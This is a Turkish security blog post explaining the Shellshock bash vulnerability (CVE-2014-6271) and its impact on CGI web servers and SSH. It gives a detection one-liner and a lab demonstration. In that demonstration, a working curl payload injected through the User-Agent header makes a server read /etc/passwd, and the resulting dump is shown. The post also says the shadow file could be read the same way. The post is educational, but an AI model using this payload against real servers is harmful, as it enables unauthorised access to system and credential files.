Siber Uzay'ın Haber Platformu

H4cktimes Youtube Kanalı

Shellshock Güvenlik Zafiyeti İncelemesi

0

 

#!/bin/bash
Bash GNU işletim sistemi için bir kabuk ya da başka bir deyişle komut dili yorumlayıcısıdır.Unix kullanışı açısından sistem yöneticilerinin sürekli tercih edildiği için en sık kullanılan kabuk uygulamadır.
Bash üzerinden sisteminize kullanıcı ekleyip çıkarabilir,çalışan servisleri yönetebilir,uygulama kurabilirsiniz.

Bash‘in çalışma mantığı Windows sistemlerde kullanılan değişkenlerle aynıdır.Yeni bir kabuk oluşturulduğu zaman bu kabuğa ait değişkenler sisteme göre uyarlanır ve çalıştırılır. Saldırgan bu zafiyet ile çalışan ortam değişkenlerinden sonra sistem üzerinde çalıştırmak istediği kodu da üstüne katarak ortam değişkenleri görevlerine ayrıldıktan sonra kodların ilgili process yetkileri ile sistem üzerinde eklediği kodu çalıştırabilir.

Bazı modüller bu zaafiyetten en üst düzeyde etkilendi.Bunların başında mod_cgid ve mod_cgi gelmektedir.Bu modulleri apache ve web sunucuları sıklıkla kullandığı için bu zaafiyetten en çok etkilenen sistemlerdir. Sonra ssh terminalleri, sshd_config içinde başlatılması öncesinde kullanılan ForceCommand özelliğinin atlatılmasında kullanılabilir ve bu özelliği tamamen devre dışı bırakabilir.SSH üzerinde çalışan bazı git uygulamarı da bu zaafiyetten fazlasıyla etkilenebilir. Şimdi hep birlikte bu zaafiyeti biraz inceleyelim;

Zafiyetin Tespiti

env x=’() { :;}; echo vulnerable’ bash -c “echo this is a test”

Bash kabuğu üzerinde çalıştırılan bu komut zaafiyetten bir örnektir.
Bu komutun çıktısı ise şu şekilde olursa ;
vulnerable
this is a test
sistem üzerinde zaafiyetin olduğunun işaretidir.
Eğer ki ;
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x’
this is a test
çıktısı alınırsa demek ki sistem üzerindeki zaafiyet kapanmıştır.

Uygulamalı olarak bakacak olursak ;
Bu saldırı bash kabuğunda komutları çalıştıran bir cgi uygulamasındaki zafiyeti exploit (istismar) ederek sunucu üzerindeki kullanıcı adı ve şifrelerini elde etmeyi sağlıyor.
Zafiyetin test edilmesi için kurulan bir uygulama ortamında cgi betiklerinin “/usr/lib/cgi-bin” dizini altında cgi ve apache modüllerinin çalıştığını varsayarak eğer şöyle bir durum olacaktır ;
[email protected]:/usr/lib/cgi-bin# cat test2.cgi
#!/bin/bash
echo “Content-type: text/html”
echo “”
echo “H4cktimes”

Aşağıda yazılan komut istemci tarafından çalıştırılmaktadır. cURL uygulaması ile http başlığına eklenen “User-Agent” adındaki zararlı kod, sunucu tarafından çalıştırılan cgi uygulamasına istek yapar. Bu zararlı kod apache servisindeki yetkiler doğrultusunda çalışacaktır.
[[email protected] ~]$ curl -k -H ’User-Agent: () { :;}; /bin/cat “/etc/passwd” > /tmp/h4cktimes’ http://192.168.127.127/test2.cgi

Bu kod çalıştırıldıktan sonra sunucu üzerindeki kullanıcıların bilgisinin bulunduğu passwd dosyasını /tmp/h4cktimes dosyasına yazar..Bu saldırı türü tamamen saldırganın hayal gücüne göre kritikliğini değiştirebilir. Örneğin passwd dosyası kopyalanacağı gibi sunucu üzerindeki kullanıcı şifre özeti olan “shadow” dosyası da bu yöntemle okunabilir..
[email protected]:~$ cat /tmp/H4cktimes
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobOdy:x:65534:65534:nobOdy:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
H4cktimes:x:1000:1000:H4cktimes:/home/H4cktimes:/bin/bash
ftp:x:1001:33:pureftpd user:/bin/null:/bin/false

 

Zaafiyet, getirilen güncellemeler sonucunda şimdi ki sistemlerde geçerliliğini kaybetmiştir. CVE-2014-6271 

Yorum Bırak

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.